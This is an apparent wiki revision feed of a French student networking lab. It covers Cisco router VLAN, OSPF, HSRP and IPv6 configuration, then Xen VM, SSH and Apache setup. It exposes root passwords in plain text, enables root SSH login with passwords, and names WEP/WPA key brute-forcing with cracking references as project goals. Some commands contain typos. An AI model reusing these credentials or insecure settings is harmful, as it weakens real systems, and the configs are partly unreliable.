Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/raid_logiciel&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51610</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51610"/>
				<updated>2019-12-07T13:51:19Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
